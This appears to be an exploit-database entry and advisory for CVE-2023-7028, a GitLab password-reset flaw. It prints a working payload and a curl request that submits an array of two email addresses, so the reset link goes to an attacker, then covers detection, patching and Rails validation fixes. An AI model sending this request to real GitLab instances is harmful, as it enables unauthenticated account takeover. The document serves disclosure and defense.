GitLab CE/EE < 16.7.2 - Password Reset

Exploit Author: 0xB455 Analysis Author: www.bubbleslearn.ir Category: Remote Language: PHP Published Date: 2024-03-14
# Exploit Title: GitLab CE/EE < 16.7.2 - Password Reset
# Exploit Author: Sebastian Kriesten (0xB455)
# Twitter: https://twitter.com/0xB455

# Date: 2024-01-12
# Vendor Homepage: gitlab.com
# Vulnerability disclosure: https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/
# Version: <16.7.2, <16.6.4, <16.5.6
# CVE: CVE-2023-7028

Proof of Concept:
user[email][]=valid@email.com&user[email][]=attacker@email.com


GitLab CE/EE < 16.7.2 — Password Reset Vulnerability (CVE-2023-7028)

A critical password reset vulnerability (CVE-2023-7028) affected GitLab Community and Enterprise Editions prior to the 16.7.2, 16.6.4 and 16.5.6 releases. An unauthenticated attacker could manipulate the password-reset request parameters to cause a reset token or reset e-mail to be delivered to an attacker-controlled address, enabling account takeover in many deployment configurations.

Summary and impact

  • Affected software: GitLab CE/EE versions < 16.7.2, < 16.6.4, < 16.5.6
  • CVE: CVE-2023-7028
  • Severity: Critical — allows remote, unauthenticated manipulation of password reset behavior
  • Impact: Potential complete account takeover if an attacker can cause a reset token to be sent to an address they control, or otherwise impersonate the user during reset

Root cause (technical)

The vulnerability was caused by improper handling of the user[email] parameter in the password-reset endpoint. When an attacker supplied multiple values for the email parameter (parameter pollution / array-style parameters), the application’s parameter parsing logic could treat the attacker-controlled value as the effective recipient or otherwise alter the reset flow. Effectively, an unauthenticated request could cause a reset link or token associated with a valid account to be delivered to an attacker-controlled address.

Proof-of-Concept (illustrative)

Below is a minimal PoC request that demonstrates how an attacker could submit a password reset request with two email parameters: the victim’s legitimate address and an attacker-controlled address. This example uses curl and HTTP form-encoding.

curl -v -X POST "https://gitlab.example.com/users/password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "user[email][]=victim@example.com&user[email][]=attacker@example.com"

This submits an array of values for user[email]. On vulnerable versions, the server could process the array in a way that results in the reset flow targeting the attacker-provided email address.

What the PoC does and why

The PoC sends two values for the same form field using the array notation user[email][]. On vulnerable GitLab instances, parameter parsing allowed the attacker-supplied second value to be used when deciding where to send a password-reset email or how to construct the reset request. Because the attacker controls the second email, the reset message can end up under attacker control, enabling them to complete the reset and change the victim account password.

Why this is serious

  • Unauthenticated: no prior access or credentials are required to exploit.
  • Remote: only ability to send HTTP requests to the GitLab instance is needed.
  • Possible full account takeover for accounts without additional protections (e.g., enforced 2FA / SSO).

Detection and indicators of compromise (IoCs)

  • Suspicious POST requests to /users/password or similar endpoints with repeated or array-style email parameters in HTTP bodies.
  • Password reset emails in mail server logs delivered to unexpected addresses shortly after a reset was requested for a different account.
  • Unexplained session logins or password changes shortly after reset requests.

Immediate mitigations

  • Apply the vendor patch immediately — upgrade GitLab to 16.7.2 (or higher) or the appropriate 16.6.x / 16.5.x patched release for your branch. Official advisory: GitLab security release.
  • If you cannot patch immediately, temporarily disable password reset functionality or require additional verification for resets (e.g., out-of-band verification or an administrative approval workflow).
  • Require and enforce Multi-Factor Authentication (MFA) or SSO for privileged accounts to limit takeover impact.
  • Monitor logs (web, auth, mail) for the IoCs listed above and investigate any anomalous activity.

Recommended remediation steps after suspicious activity

  • Reset affected user passwords to new, strong values and require reauthentication.
  • Force logout of all user sessions and revoke affected sessions/tokens.
  • Rotate any CI/CD, API, or deploy keys that may have been exposed via compromised accounts.
  • Review audit and mail logs to find the reset event and the recipient address used.

Server-side fix approach

At the server level, the fix involves strict parameter validation and ensuring that only a single canonical e-mail string is accepted for password-reset operations. Reject array-style parameters or unexpected parameter types, and ensure reset messages are only sent to already confirmed/verified email addresses associated with a user record.

# Example (Ruby on Rails pseudocode) — do not treat as a drop-in patch
def password_reset
  # Strong-parameter enforcement: permit only a string email, not an array
  email_param = params.dig(:user, :email)
  unless email_param.is_a?(String)
    render status: :bad_request, json: { error: "Invalid email parameter" } and return
  end

  email = email_param.strip.downcase
  user = User.find_by(email: email)
  if user.present?
    # Only send resets to confirmed/verified addresses
    if user.email_confirmed?
      UserMailer.password_reset(user).deliver_later
    else
      # Optionally log and/or return ambiguous message to avoid account enumeration
    end
  end
  # Return generic success message to avoid enumeration
  render status: :ok, json: { message: "If an account exists, you will receive an email with password reset instructions." }
end

Explanation: this snippet demonstrates explicit checking of the parameter type (ensuring it's a String and not an Array), normalization of the email string, verification that the email belongs to a user and is confirmed, and a non-disclosing response to the client. This prevents an attacker from supplying array-style parameters and forces the application to treat the email value as a single string.

Alternative defensive code (reject arrays globally)

# Example middleware/predicate: reject form params that are arrays for sensitive keys
SENSITIVE_KEYS = %w[user[email] user[email] user_password email]

def reject_array_params(params)
  SENSITIVE_KEYS.each do |k|
    value = params.dig(*k.split(/[^\w]/))
    if value.is_a?(Array)
      Rails.logger.warn("Rejected request with array param for #{k}")
      return false
    end
  end
  true
end

Explanation: place a simple check early in request processing to detect and reject array values for known sensitive parameter names. Logging the rejection aids incident triage. This is a defense-in-depth measure if direct code changes are not immediately possible.

Best practices to reduce risk from password-reset flows

  • Validate and normalize all input parameters; avoid tacit acceptance of arrays where a single value is expected.
  • Use strong parameter binding (framework features like Rails strong parameters) and type checks.
  • Require email confirmation before allowing password resets to that email.
  • Rate-limit password reset requests per IP and per account to reduce abuse.
  • Enforce MFA for privileged or high-privilege users.
  • Monitor and alert on unusual patterns in password-reset requests and mail deliveries.

Summary table

Item Detail
Vulnerability Parameter manipulation allowed password reset token/e-mail delivery to attacker-controlled addresses
CVEs / Advisories CVE-2023-7028 — GitLab advisory: 2024-01-11
Affected versions GitLab CE/EE < 16.7.2, < 16.6.4, < 16.5.6
Patched versions 16.7.2, 16.6.4, 16.5.6 and later
Recommended action Patch immediately; follow mitigations and review logs for suspicious resets

References